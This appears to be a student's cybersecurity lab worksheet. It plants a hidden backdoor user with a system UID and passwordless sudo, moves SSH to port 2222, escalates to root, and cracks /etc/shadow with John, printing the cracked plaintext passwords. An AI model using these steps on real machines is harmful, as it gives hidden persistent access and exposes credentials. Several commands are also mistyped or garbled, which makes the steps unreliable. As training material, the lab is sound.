## **Advanced Bash: Owning the System**

### **Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

|  |
| --- |
| sudo useradd sysd |

1. Give your secret user a password.

|  |
| --- |
| sudo useradd passwd |

1. Give your secret user a system UID < 1000.

|  |
| --- |
| sudo usermod -u 400 sysd |

1. Give your secret user the same GID.

|  |
| --- |
| sudo groupmod -g 400 sysd |

1. Give your secret user full sudo access without the need for a password.

|  |
| --- |
| Sudo visudo  # User privilege specification•Root ALL=(ALL:ALL) ALL  Sysd ALL= (ALL:ALL) NOPASSWD:ALL  #Menmber of the admin group may gain root privileges  %admin ALL=(ALL)ALL  -  Su sysd |

1. Test that sudo access works without your password.

|  |
| --- |
| Sudo -l |

### **Step 2: Smooth Sailing**

1. Edit the sshd\_config file.

|  |
| --- |
| sudo nano /etc/ssh/sshd\_config |

### **Step 3: Testing Your Configuration Update**

1. Restart the SSH service.

|  |
| --- |
| sudo service ssh restart |

1. Exit the root account.

|  |
| --- |
| exit |

1. SSH to the target machine using your sysd account and port 2222.

|  |
| --- |
| ssh sysd@192.168.6.105 -p 2222 |

1. Use sudo to switch to the root user.

|  |
| --- |
| Sudo su |

### **Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222.

|  |
| --- |
| ssh sysd@192.168.6.105 -p 2222 |

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

|  |
| --- |
| John /etc/shadow  computer (stallman)  freedom (babbage)  trustno1 (mitnik)  dragon (lovelace)  lakers (turing)  passw0rd (sysadmin)  Goodluck! (student) |